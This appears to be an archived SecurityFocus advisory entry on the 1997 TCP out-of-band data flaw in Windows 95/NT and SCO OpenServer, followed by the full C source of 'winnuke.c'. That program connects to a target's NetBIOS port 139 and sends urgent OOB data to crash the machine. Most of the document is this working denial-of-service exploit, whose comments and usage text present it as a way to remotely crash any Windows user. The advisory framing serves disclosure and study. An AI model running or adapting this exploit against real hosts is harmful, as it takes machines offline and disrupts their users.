source: http://www.securityfocus.com/bid/2010/info

Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data.

According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. "

As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding.

Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning. 

/*
        It is possible to remotely cause denial of service to any windows
95/NT user.  It is done by sending OOB [Out Of Band] data to an
established connection you have with a windows user.  NetBIOS [139] seems
to be the most effective since this is a part of windows.  Apparently
windows doesn't know how to handle OOB, so it panics and crazy things
happen.  I have heard reports of everything from windows dropping carrier
to the entire screen turning white.  Windows also sometimes has trouble
handling anything on a network at all after an attack like this.  A
reboot fixes whatever damage this causes.  Code follows.


--- CUT HERE ---
*/
/* winnuke.c - (05/07/97)  By _eci  */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#define dport 139  /* Attack port: 139 is what we want */

int x, s;
char *str = "Bye";  /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;


int open_sock(int sock, char *server, int port) {
     struct sockaddr_in blah;
     struct hostent *he;
     bzero((char *)&blah,sizeof(blah));
     blah.sin_family=AF_INET;
     blah.sin_addr.s_addr=inet_addr(server);
     blah.sin_port=htons(port);


    if ((he = gethostbyname(server)) != NULL) {
        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
           perror("gethostbyname()");
           return(-3);
         }
    }

        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
             perror("connect()");
             close(sock);
             return(-4);
        }
        printf("Connected to [%s:%d].\n",server,port);
        return;
}


void main(int argc, char *argv[]) {

     if (argc != 2) {
       printf("Usage: %s <target>\n",argv[0]);
       exit(0);
     }

     if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
     }

     open_sock(s,argv[1],dport);


     printf("Sending crash... ");
       send(s,str,strlen(str),MSG_OOB);
       usleep(100000);
     printf("Done!\n");
     close(s);
}

/*